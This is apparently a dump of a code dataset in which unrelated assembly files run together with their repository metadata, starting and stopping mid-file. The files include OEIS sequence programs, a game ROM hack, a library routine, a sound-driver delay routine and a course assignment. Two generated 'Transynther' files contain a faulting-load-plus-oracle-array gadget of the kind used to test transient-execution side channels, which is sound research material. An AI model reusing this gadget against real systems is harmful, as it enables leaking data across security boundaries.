{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_D_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 3}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.616379 | 2,999 | 0.656879 |
dadd19a06c49b133b58f6c429854a2a1e79df7ce | 740 | asm | Assembly | oeis/041/A041053.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/041/A041053.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/041/A041053.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A041053: Denominators of continued fraction convergents to sqrt(32).
; Submitted by Christian Krause
; 1,1,2,3,32,35,67,102,1087,1189,2276,3465,36926,40391,77317,117708,1254397,1372105,2626502,3998607,42612572,46611179,89223751,135834930,1447573051,1583407981,3030981032,4614389013,49174871162,53789260175,102964131337,156753391512,1670498046457,1827251437969,3497749484426,5325000922395,56747758708376,62072759630771,118820518339147,180893277969918,1927753298038327,2108646576008245,4036399874046572,6145046450054817,65486864374594742,71631910824649559,137118775199244301,208750686023893860
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,3
mod $2,$1
mul $2,27
add $3,$2
mov $2,$1
lpe
mov $0,$1
| 38.947368 | 490 | 0.8 |
48b871aa239385ed75f181cfdc6146d372cfcf69 | 4,676 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_404.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_404.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_404.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0xf64d, %rdx
xor $29539, %r15
mov $0x6162636465666768, %r13
movq %r13, (%rdx)
nop
xor $26383, %rsi
lea addresses_WT_ht+0x16fd1, %rsi
lea addresses_A_ht+0x1a5d1, %rdi
nop
nop
nop
xor %rax, %rax
mov $1, %rcx
rep movsb
nop
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_normal_ht+0x9fd1, %r15
nop
nop
sub %rcx, %rcx
movups (%r15), %xmm0
vpextrq $0, %xmm0, %rdx
nop
nop
nop
nop
and $22279, %r13
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r9
push %rbp
// Faulty Load
lea addresses_WT+0x18fd1, %rbp
nop
cmp $4022, %r11
vmovups (%rbp), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %r9
lea oracles, %r14
and $0xff, %r9
shlq $12, %r9
mov (%r14,%r9,1), %r9
pop %rbp
pop %r9
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 52.539326 | 2,999 | 0.66296 |
3a79b3de61656096439e3acd4d18a9b9c54dc344 | 701 | asm | Assembly | oeis/170/A170933.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/170/A170933.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/170/A170933.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A170933: a(n) = A000930(n) + A000930(n+3) + 4.
; Submitted by Jamie Morken(s2)
; 7,8,9,12,16,21,29,41,58,83,120,174,253,369,539,788,1153,1688,2472,3621,5305,7773,11390,16691,24460,35846,52533,76989,112831,165360,242345,355172,520528,762869,1118037,1638561,2401426,3519459,5158016,7559438,11078893,16236905,23796339,34875228,51112129,74908464,109783688,160895813,235804273,345587957,506483766,742288035,1087875988,1594359750,2336647781,3424523765,5018883511,7355531288,10780055049,15798938556,23154469840,33934524885,49733463437,72887933273,106822458154,156555921587,229443854856
mov $3,1
lpb $0
sub $0,1
mov $4,1
add $4,$3
mov $3,$2
mov $2,$1
add $1,$4
lpe
add $3,$1
mov $0,$3
add $0,6
| 41.235294 | 499 | 0.768902 |
3f06199d4a6a5af6a2a68e9e5e2025428dbf8525 | 2,040 | asm | Assembly | Engine Hacks/FE7 & 8-Show Heal Amount/FE7-Show Heal Amount.asm | sme23/Christmas2 | f3f3daeda1afe2b78bfed38cbf60d8bc17ca9f79 | [
"CC0-1.0"
] | null | null | null | Engine Hacks/FE7 & 8-Show Heal Amount/FE7-Show Heal Amount.asm | sme23/Christmas2 | f3f3daeda1afe2b78bfed38cbf60d8bc17ca9f79 | [
"CC0-1.0"
] | null | null | null | Engine Hacks/FE7 & 8-Show Heal Amount/FE7-Show Heal Amount.asm | sme23/Christmas2 | f3f3daeda1afe2b78bfed38cbf60d8bc17ca9f79 | [
"CC0-1.0"
] | null | null | null | .thumb
@bl'd to at 232A0
@since I cannot find a way to distinguish when a character is healing vs talk/support/dance/play, we're going to copy the entire function, essentially
@r0 = char data of target
bl Copied_31E10_Func @most copied, at any rate
pop {r4}
pop {r1}
bx r1
Copied_31E10_Func:
Copied_34FB0_Func:
push {r4-r6,r14}
add sp,#-0x8
mov r6,r0
mov r1,#0xA
ldr r2,=#0x8031830
mov r14,r2
.short 0xF800
mov r4,r0
mov r0,#0xA
str r0,[sp]
mov r0,#0x1
str r0,[sp,#0x4]
mov r0,#0x0
mov r1,r6
mov r2,r4
ldr r3,=#0x8031700
mov r14,r3
mov r3,#0x0
.short 0xF800
mov r5,r0
add r5,#0x38
mov r0,r5
mov r1,r6
bl New_HP_Box_Display
add r4,#0x61
lsl r4,#0x1
ldr r0,=#0x2022C60
add r1,r4,r0
mov r0,r5
ldr r2,=#0x8005590
mov r14,r2
.short 0xF800
add sp,#0x8
pop {r4-r6}
pop {r0}
bx r0
.ltorg
New_HP_Box_Display:
push {r4-r7,r14}
mov r4,r0
mov r5,r1
ldr r2,=#0x80054E0
mov r14,r2
.short 0xF800
ldr r0,=#0x8012C60 @A240
mov r14,r0
ldr r0,=#0x10F4 @4E9
.short 0xF800
mov r3,r0
mov r0,r4
mov r1,#0x0 @position shift (in pixels)
ldr r2,=#0x8005B18 @4480
mov r14,r2
mov r2,#0x3 @palette index
.short 0xF800
ldr r0,=0x8012C60
mov r14,r0
ldr r0,ArrowTextID @make a new text, don't use 53A
.short 0xF800
mov r3,r0
mov r0,r4
mov r1,#0x24
ldr r2,=#0x8005B18
mov r14,r2
mov r2,#0x3
.short 0xF800
ldr r0,=#0x8018A70
mov r14,r0
mov r0,r5
.short 0xF800 @gets the target's current HP
mov r7,r0
mov r3,r7
ldr r0,=#0x8005B3C
mov r14,r0
mov r0,r4
mov r1,#0x1C
mov r2,#0x2
.short 0xF800
ldr r0,=#0x8018AB0
mov r14,r0
mov r0,r5
.short 0xF800
mov r6,r0
ldr r0,=#0x8016B68
mov r14,r0
ldr r0,=#0x3004690
ldr r0,[r0]
ldrh r1,[r0,#0x1E] @assume the first item is the one being used; so far, this seems to be the case
.short 0xF800
add r3,r0,r7 @current hp + healed amount
ldr r0,=#0x8005B3C
mov r14,r0
mov r0,r4
mov r1,#0x38
mov r2,#0x2
cmp r3,r6
blt NotMaxHP
mov r2,#0x4
mov r3,r6
NotMaxHP:
.short 0xF800
pop {r4-r7}
pop {r0}
bx r0
.ltorg
ArrowTextID:
@
| 16.585366 | 150 | 0.686275 |
9ae1cf9eac3cd8afd608c03ace8a68d5a990e531 | 374 | asm | Assembly | libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_insert_n_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_insert_n_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_insert_n_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; size_t b_vector_insert_n_callee(b_vector_t *v, size_t idx, size_t n, int c)
SECTION code_adt_b_vector
PUBLIC _b_vector_insert_n_callee, l0_b_vector_insert_n_callee
_b_vector_insert_n_callee:
pop af
pop hl
pop bc
pop de
exx
pop bc
push af
l0_b_vector_insert_n_callee:
ld a,c
exx
INCLUDE "adt/b_vector/z80/asm_b_vector_insert_n.asm"
| 15.583333 | 77 | 0.751337 |
d0310331b3a013318ed46713af97e764e0057bbf | 480 | asm | Assembly | programs/oeis/115/A115112.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/115/A115112.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/115/A115112.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A115112: Number of different ways to select n elements from two sets of n elements under the precondition of choosing at least one element from each set.
; 0,4,18,68,250,922,3430,12868,48618,184754,705430,2704154,10400598,40116598,155117518,601080388,2333606218,9075135298,35345263798,137846528818,538257874438,2104098963718,8233430727598,32247603683098,126410606437750,495918532948102,1946939425648110,7648690600760438
mov $1,1
add $1,$0
add $1,$0
bin $1,$0
sub $1,1
mul $1,2
| 48 | 265 | 0.814583 |
b2b7c06bbecf76eaa50a61d0037b948426075bd1 | 2,109 | asm | Assembly | programs/oeis/129/A129080.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/129/A129080.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/129/A129080.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A129080: Expansion of g.f. x*(x^4 - 5*x^3 + 10*x^2 - 12*x + 4)/((1-x)^2*(1 - 3*x + 2*x^2 - x^3)).
; 4,8,14,25,48,99,215,482,1100,2534,5865,13606,31599,73425,170656,396688,922146,2143685,4983416,11584987,26931775,62608726,145547572,338356994,786584517,1828587086,4250949167,9882257793,22973462076,53406819752,124155792838,288627201025,670976837088,1559831901987,3626169232743,8429820731274,19596955630252,45557394660878,105908093453329,246206446668406,572360547759359,1330576843394513,3093215881333144,7190854504969680,16716708595637178,38861632658305229,90342335288610920,210020449144859387,488238309515661455,1135016365545876414,2638592926751165620,6133984358677405386,14259783588075761229,33149974973623638430,77064342103396798111,179152859951018878593,416479870619886677876,968198234061019074440,2250787820894302746046,5232446865180756767017,12163963187814683883280,28277783653976840861731,65737871451481911585527,152822010234306736916274,355268071453933228439372,825898065344668123070966,1919980063360444649250297,4463412130845930930048198,10376174331161571614714831,24121678795153297633298257,56076099853982680600513168,130361116302803018149657680,303052827995596990881244818,704512351235167616944932117,1637792514017111887221964248,3807405667576597418657273179,8851144325930736098472823007,20576414156656125345325886758,47834359485683501257689287284,111201394469668989180888911186,258511878594296090372614045589,600967206329233794013753601518,1397079256268778190476921624399,3247815234742163073775871715585,7550254398018166634387525499308,17552211980838951946087754690984,40803942381222685643264084789750,94857657580008319672004270486417,220517299958418539675572396570560,512640527096461665325972733528419,1191744638952556236298777677930375,2770470162623163917919959963304666,6440561737060840946488297267581484,14972489524888751239923749554065310,34806815263167735744714614090337441,80916028476786545700784640430462998,188106944428912916852848442664779231,437295591596333394901690661223748945
mov $1,$0
mul $0,2
seq $1,95263 ; a(n+3) = 3*a(n+2) - 2*a(n+1) + a(n).
add $1,25676
add $0,$1
sub $0,25673
| 210.9 | 1,900 | 0.901375 |
3ee270fb7a57fc14798b50b9eabf227437f38bb4 | 4,600 | asm | Assembly | Driver/Sound/BSD8ST/bsdelay.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/Sound/BSD8ST/bsdelay.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/Sound/BSD8ST/bsdelay.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS Sound System
MODULE: Sound Driver for SoundBlaster boards
FILE: soundblasterTimeDelay.asm
AUTHOR: Todd Stumpf, Jul 27, 1992
ROUTINES:
Name Description
---- -----------
InitMicroTimer Set up timer 2 to allow calls to MicroTimer
MicroDelay Micro second (sure. right.) accurate timer
routine for delays.
REVISION HISTORY:
Name Date Description
---- ---- -----------
TS 7/30/92 Initial Version
DESCRIPTION:
These routines involve the appropriation of timer 2. As timer 0
is used for the 60Hz multi-tasking clock and timer 1 is used
for the memory re-fresh cycle, the only timer left to play with
is timer 2.
Thus, when using this delay routine, the PC speaker can not be
used for making sounds.
$Id: soundblasterTimeDelay.asm,v 1.1.20.1 93/05/11 05:44:52 steve Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ResidentCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitMicroTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set up timer2 to allow us to do micro-second timing.
CALLED BY: global
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Alter the timer2 to generate a count by n timer.
KNOWN BUGS/SIDE EFFECTS/IDEAS:`
Uses timer2, thus making it impossible to use both
the sound blaster and the PC speaker. Since it would
be nice to do so (music on SB, FX on speaker..) it
might be possible to use timer0.
REVISION HISTORY:
Name Date Description
---- ---- -----------
TS 8/ 2/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitMicroTimer proc far
uses al
.enter
mov al, TT_TIMER_2 or TRL_WORD or TM_RATE_GEN or TC_BINARY
out I8253.Mode, al ; set timer 2 to rate-gen counter
mov al, 0FFh ; init. timer 2 to value 65536
out I8253.Counter2, al
jmp $+2 ; delay for fast AT
jmp $+2
out I8253.Counter2, al
jmp $+2 ; delay for fast AT
jmp $+2
in al, I8255.portB ; al <- portB settings
jmp $+2 ; delay for fast computer
jmp $+2 ; delay for fast computer
or al, 00000001b ; set gate2 high to enable timer2
and al, 11111101b ; set spkr_enbl low to turn off PC
out I8255.portB, al ; set new values
jmp $+2 ; delay for fast computer
jmp $+2 ; delay for fast computer
.leave
ret
InitMicroTimer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MicroDelay
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Delay for at least a given # of micro seconds
CALLED BY: global
PASS: dx -> # of ticks to wait for
RETURN: nothing
DESTROYED: ax
PSEUDO CODE/STRATEGY:
Get current clock value
poll clock, checking if difference between current
time and original time is greater than
the # of ticks to wait for.
If so, leave, if not, poll again..
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
TS 8/ 2/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MicroDelay proc far
uses bx, cx
.enter
mov al, TT_TIMER_2 or TRL_LATCH or TM_RATE_GEN or TC_BINARY
out I8253.Mode, al ; latch down current clock time
jmp $+2 ; delay for fast computer
jmp $+2 ; delay for fast computer
in al, I8253.Counter2 ; read in low byte
jmp $+2 ; delay for fast computer
jmp $+2 ; delay for fast computer
mov ah, al ; ah <- lsb of timer
in al, I8253.Counter2 ; read in high byte
jmp $+2 ; delay for fast computer
jmp $+2 ; delay for fast computer
xchg al, ah ; re-order high-low
mov bx, ax ; bx <- original time
poleTimer2:
mov cx, bx ; save original time
mov al, TT_TIMER_2 or TRL_LATCH or TM_RATE_GEN or TC_BINARY
out I8253.Mode, al
jmp $+2 ; delay for fast computer
jmp $+2 ; delay for fast computer
in al, I8253.Counter2 ; read in low byte
jmp $+2 ; delay for fast computer
jmp $+2 ; delay for fast computer
mov ah, al
in al, I8253.Counter2 ; read in high byte
xchg al, ah ; re-order bytes
sub cx, ax ; cx <- cx - ax
cmp cx, dx ; waited longer than delay time?
jb poleTimer2 ; do again.
.leave
ret
MicroDelay endp
ResidentCode ends
| 27.710843 | 79 | 0.582609 |
3e88c3fb58a7fe7aafced28c1026aec67513cc7a | 6,825 | asm | Assembly | 2000-fall/mp4/mp4.asm | ece291/machine-problems | 5f91f9f2ddceb7cda1e14c2973d83023a42d9929 | [
"RSA-MD"
] | 3 | 2016-07-16T04:33:49.000Z | 2021-07-13T16:18:17.000Z | 2000-fall/mp4/mp4.asm | ece291/machine-problems | 5f91f9f2ddceb7cda1e14c2973d83023a42d9929 | [
"RSA-MD"
] | null | null | null | 2000-fall/mp4/mp4.asm | ece291/machine-problems | 5f91f9f2ddceb7cda1e14c2973d83023a42d9929 | [
"RSA-MD"
] | null | null | null | ; ECE 291 Fall 2000 MP 4
; -- Truecolor Paint --
;
; Completed By:
; Your Name
;
; Professor Kalbarczyk
; Guest Authors - Peter Johnson, Michael Urman
; University of Illinois Urbana Champaign
; Dept. of Electrical & Computer Engineering
;
; Ver 1.0
%include "lib291.inc"
%include "libmp4.inc"
BITS 32
GLOBAL _main
; Define functions, variables used by main()
EXTERN _LoadPNG
_LoadPNG_arglen EQU 18
EXTERN _CurrentState
EXTERN _StateHandlers
EXTERN _RubberBandFlag
; Event structure - 8 bytes long so we can address it easily
STRUC Event
.Condition resw 1 ; Condition bitmask (in mouse handler format)
.X resw 1 ; X coordinate in screen pixels from left
.Y resw 1 ; Y coordinate in screen pixels from top
.Buttons resw 1 ; Button status (in mouse handler format)
ENDSTRUC
; Event Queue size (# of elements and size in bytes)
QUEUE_ELEMENTS equ 13
QUEUE_SIZE equ QUEUE_ELEMENTS * Event_size
SECTION .bss
_ExitFlag resb 1 ; Set to 1 to exit immediately
_MouseSeg resw 1 ; Mouse RMCB segment
_MouseOff resw 1 ; Mouse RMCB offset
_QueueNumEvents resb 1 ; Number of events in the queue
_Queue resb (QUEUE_ELEMENTS+1)*Event_size ; The queue itself
_ImageBlock resw 1 ; Non-rubberband image
_OverlayBlock resw 1 ; Overlay images (for alphablit)
_FontBlock resw 1 ; The antialiased font
SECTION .data
_QueueFirst dd _Queue ; Pointer to the head of the queue
; Required files; loaded at startup
